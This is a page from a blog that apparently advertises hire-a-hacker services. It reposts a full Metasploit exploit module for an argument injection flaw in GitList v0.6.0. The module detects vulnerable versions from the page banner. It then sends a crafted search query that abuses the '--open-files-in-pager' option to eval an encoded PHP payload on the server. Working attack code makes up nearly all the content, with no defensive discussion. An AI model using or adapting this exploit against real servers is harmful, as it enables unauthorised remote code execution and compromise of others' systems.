Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86372897

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "GitList v0.6.0 Argument Injection Vulnerability",
      'Description'    => %q{
        This module exploits an argument injection vulnerability in GitList v0.6.0.
        The vulnerability arises from GitList improperly validating input using the php function
        'escapeshellarg'.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Kacper Szurek', # EDB POC
          'Shelby Pace'    # Metasploit Module
        ],
      'References'     =>
        [
          [ 'EDB', '44548' ],
          [ 'URL', 'https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html']
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'GitList v0.6.0', { } ]
        ],
      'Privileged'     => false,
      'Payload'        => { 'BadChars' => '\'"' },
      'DisclosureDate' => "Apr 26 2018",
      'DefaultTarget'  => 0))
  end

  def check
    uri = normalize_uri(target_uri.path, '/gitlist/')
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     => uri
    )

    if res && res.code == 200 && /Powered by .*GitList 0\.6\.0/.match(res.body)
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    postUri = normalize_uri(target_uri.path, '/gitlist/tree/c/search')
    cmd = '--open-files-in-pager=php -r "eval(\\"'
    cmd << payload.encoded
    cmd << '\\");"'
    send_request_cgi(
      'method' => 'POST',
      'uri'    => postUri,
      'vars_post' => { 'query' => cmd }
    )
  end
end